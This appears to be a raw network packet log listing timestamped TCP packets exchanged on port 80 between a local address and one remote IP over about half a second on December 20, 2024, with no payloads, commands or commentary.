Dec 20, 2024 16:20:33.301213980 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.301310062 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.302242994 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.302320004 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.302416086 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.303333044 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.303391933 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.303606033 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.304397106 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.304626942 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.304733038 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.305525064 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.305701971 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.306551933 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.306632042 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.306751966 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.307734966 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.307856083 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.308301926 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.308886051 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.308921099 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.308953047 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.309911013 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.309930086 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.309999943 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.310102940 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.311153889 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.311388016 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.311516047 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.312125921 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.312561035 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.312782049 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.313353062 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.313874960 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.313988924 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.314297915 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.314605951 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.314749956 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.315469980 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.315505981 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.316536903 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.316658020 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.316663027 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.317642927 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.317708015 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.317903042 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.318567038 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.318799973 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.318945885 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.319093943 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.319859982 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.320266962 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.320338964 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.320944071 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.321109056 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.321228981 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.322016954 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.322326899 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.322401047 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.323268890 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.323486090 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.323580980 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.324342012 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.324635983 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.325324059 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.325653076 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.325730085 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.326550007 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.326847076 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.326962948 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.327651978 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.327688932 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.327754974 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.328775883 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.329005957 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.329091072 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.329796076 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.330162048 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.330233097 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.330856085 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.384392023 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.465517044 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.465872049 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.465913057 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.465950966 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.465955973 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.466125011 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.466836929 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.467125893 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.467209101 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.468058109 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.468668938 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.468856096 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.469347954 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.469383955 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.469450951 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.470252991 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.470314026 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.470369101 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.471191883 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.471570969 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.471637964 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.472275019 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.472759962 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.472970009 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.473443985 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.473767996 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.473834991 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.474512100 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.474728107 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.474841118 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.475579977 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.476268053 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.476325989 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.476963043 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.477060080 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.477204084 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.477847099 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.478071928 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.478374004 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.478889942 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.479017019 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.479073048 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.479979992 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.480153084 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.480318069 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.481161118 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.481384993 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.481436968 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.482237101 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.482340097 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.482450962 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.483262062 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.483364105 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.483541965 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.484379053 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.484474897 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.484535933 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.485517979 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.485681057 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.485755920 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.486634970 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.486795902 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.486882925 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.487674952 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.487766981 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.487862110 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.488779068 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.489001036 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.489049911 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.489859104 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.490021944 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.490094900 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.490963936 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.491388083 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.491430044 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.492048025 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.492758036 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.492810965 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.493223906 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.493493080 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.493551016 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.494298935 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.495186090 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.495256901 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.495414972 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.496002913 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.496068001 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.496504068 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.496515989 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.496627092 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.497592926 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.497764111 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.497811079 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.498732090 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.498960972 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.499005079 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.499809027 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.500158072 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.500205040 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.500987053 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.501267910 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.501362085 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.502630949 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.502731085 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.502798080 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.503164053 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.503292084 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.503365993 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.504430056 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.504621029 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.504690886 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.505342960 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.505497932 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.505553007 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.506427050 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.507011890 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.507061958 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.507771969 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.507976055 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.508057117 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.508658886 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.508924961 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.508968115 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.510039091 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.510093927 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.510165930 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.511089087 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.511514902 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.511560917 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.512068987 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.512253046 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.512367964 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.513770103 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.513961077 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.514005899 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.514189959 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.514203072 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.514250040 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.515295029 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.515393972 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.515495062 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.516320944 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.516443968 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.516501904 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.517544031 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.517663002 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.517714977 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.518533945 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.519100904 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.519153118 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.519676924 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.520076036 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.520144939 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.520776033 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.521486044 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.521541119 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.521888018 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.521902084 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.522006035 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.523046970 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.572211981 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.657093048 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.657253981 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.657371998 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.657531023 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.657545090 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.657608986 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.658476114 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.658776045 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.658849001 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.659548998 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.659851074 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.660024881 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.660604954 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.660840034 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.660888910 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.661735058 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.662035942 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.662117004 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.662987947 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.663086891 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.663203955 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.663994074 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.664159060 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.664228916 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.665100098 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.665235996 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.665308952 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.666174889 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.666460037 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.666543961 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.667263031 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.667465925 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.667524099 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.668396950 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.669090033 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.669131994 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.669455051 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.669476032 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.669528961 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.670589924 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.670753002 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.670797110 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.671688080 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.671845913 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.671886921 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.672775030 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.673943996 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.673958063 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.674029112 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.674065113 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.674105883 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.674984932 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.675235987 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.675421953 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.676110983 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.676312923 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.676415920 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.677194118 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.677346945 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.677412987 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.678276062 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.678694963 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.678761005 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.679418087 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.679686069 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.679742098 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.680471897 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.680636883 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.680701971 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.681591988 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.681756973 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.681854010 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.682720900 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.683059931 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.683140993 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.683904886 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.684108973 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.684195995 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.684989929 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.685131073 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.685175896 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.686052084 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.686356068 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.686774969 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.687196970 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.687300920 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.687357903 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.688244104 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.688440084 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.688512087 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.689294100 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.689783096 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.689852953 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:33.690390110 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.691457987 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.691543102 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.691555023 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:33.691557884 CET	49717	80	192.168.2.11	185.215.113.16
